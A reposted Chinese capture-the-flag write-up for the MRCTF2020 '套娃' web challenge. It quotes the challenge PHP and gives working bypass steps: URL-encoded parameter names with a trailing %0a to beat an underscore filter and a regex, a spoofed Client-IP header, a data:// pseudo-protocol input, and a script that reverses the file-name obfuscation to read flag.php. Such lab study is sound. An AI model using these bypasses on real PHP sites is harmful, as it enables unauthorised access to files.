BUU-WEB-[MRCTF2020]套娃
Posted TzZzEZ-web
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-WEB-[MRCTF2020]套娃相关的知识,希望对你有一定的参考价值。
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
这里绕过的方式是通过url编码,用%20替代_。
构建payload:
b%20u%20p%20t=23333%0a
提示了个网页,尝试转入看一看。
查看源码,发现一段jsfuck密文。
以post方式尝试上传。(随便传)
简单审计一下:
1.ip地址为本地地址。
2.2333的格式为text,且内容为:todat is a happy day
3.file初步猜测是flag.php
ip通过Client-IP:127.0.0.1绕过,2333的传参通过data伪协议绕过。
结果是乱码,再重新看一下审计的代码。
file被change函数执行了一次,反写执行一次change函数。
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
传入加密后的file。
成功获得flag。
以上是关于BUU-WEB-[MRCTF2020]套娃的主要内容,如果未能解决你的问题,请参考以下文章